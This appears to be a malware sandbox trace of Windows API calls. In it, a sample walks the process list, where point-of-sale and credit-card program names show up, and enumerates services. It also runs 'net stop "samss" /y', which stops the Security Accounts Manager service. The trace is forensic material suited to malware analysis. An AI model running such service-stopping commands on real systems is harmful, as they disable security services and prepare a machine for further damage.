	[0170.787] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0170.790] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0170.793] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0170.796] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0170.799] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0170.802] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0170.979] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0170.982] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0170.985] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0170.988] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0170.991] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0170.994] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0170.997] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0171.001] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0171.004] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0171.007] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0171.107] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0171.110] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0171.113] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0171.117] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0171.120] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0171.123] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0171.126] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0171.129] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0171.132] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0171.136] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0171.138] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0171.142] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
	[0171.145] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0171.287] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0171.290] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0171.293] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0171.295] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0171.298] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0171.302] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0171.305] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0171.308] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0171.310] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0171.313] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0171.315] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xb28, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1
	[0171.318] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0171.475] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0171.478] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0171.480] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0171.483] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="net1.exe")) returned 1
	[0171.485] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="net1.exe")) returned 0
	[0171.487] CloseHandle (hObject=0x274) returned 1
	[0171.487] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x2bfcb0
	[0171.488] EnumServicesStatusW (in: hSCManager=0x2bfcb0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0 | out: lpServices=0x0, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0) returned 0
	[0171.489] VirtualAlloc (lpAddress=0x0, dwSize=0x169d, flAllocationType=0x1000, flProtect=0x40) returned 0x1e0000
	[0171.490] EnumServicesStatusW (in: hSCManager=0x2bfcb0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x1e0000, cbBufSize=0x169d, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0 | out: lpServices=0x1e0000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0) returned 1
	[0171.491] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0172.244] Sleep (dwMilliseconds=0x96) 
	[0172.714] VirtualFree (lpAddress=0x1e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.714] Sleep (dwMilliseconds=0xc350) 
	[0182.893] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x134
	[0182.919] Process32FirstW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0182.922] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0182.925] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0182.928] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0182.931] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0182.934] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0182.937] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0182.940] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0183.240] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0183.242] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0183.245] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.248] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.251] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.254] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.257] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.260] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.262] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.266] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0183.269] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0183.271] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0183.274] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0183.276] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.279] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0183.282] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0183.712] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.715] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0183.718] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.722] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0183.724] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0183.727] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
